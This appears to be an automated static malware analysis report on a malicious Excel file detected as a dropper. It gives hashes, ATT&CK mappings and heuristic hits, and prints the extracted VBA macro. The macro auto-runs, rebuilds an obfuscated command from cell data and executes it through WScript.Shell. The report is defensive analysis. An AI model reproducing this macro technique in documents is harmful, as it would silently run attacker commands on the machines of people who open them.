Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 75b230a41dcadada…

MALICIOUS

Office (OOXML)

33.5 KB Created: 2020-07-13 11:26:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 5b9436ae9c52fe45b7b6a25f6427e7e6 SHA-1: e618db4bcfd5f324bdba3db7652069b51d7683b6 SHA-256: 75b230a41dcadada3c53b50a675360a71c19d282eb0de3824fa867274d74ba6e
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros that utilize WScript.Shell to execute a command. The script concatenates characters to form a string, which is then executed. This behavior, combined with ClamAV detections of 'Xls.Dropper.Agent-8806110-0', strongly indicates that the macro is designed to download and execute a second-stage payload. The exact payload URL or command could not be fully reconstructed due to obfuscation.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-8806110-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8806110-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Next: On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(pii): ActiveWorkbook.Close 0
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next: On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(pii): ActiveWorkbook.Close 0
End Sub

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 980 bytes
SHA-256: 6427a9eafe2238266f8b5c8341192fd56fbe4b0e94dc96aa6fba7bc8db7e56fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "win, 1, 0, MSForms, Frame"
Sub back()
End Sub

Private Sub win_Layout()
Dim Bi(2777)
For Each B In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
Bi(B.Value) = Chr(B.Row)
Next
For Each IB In Bi
pii = pii + IB
Next: On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(pii): ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: d12dd135883838601d72ab58a7e8a9a7ab68f9d978ba3cabeb94a069b25c4b36
Detection
ClamAV: Xls.Dropper.Agent-8806110-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214

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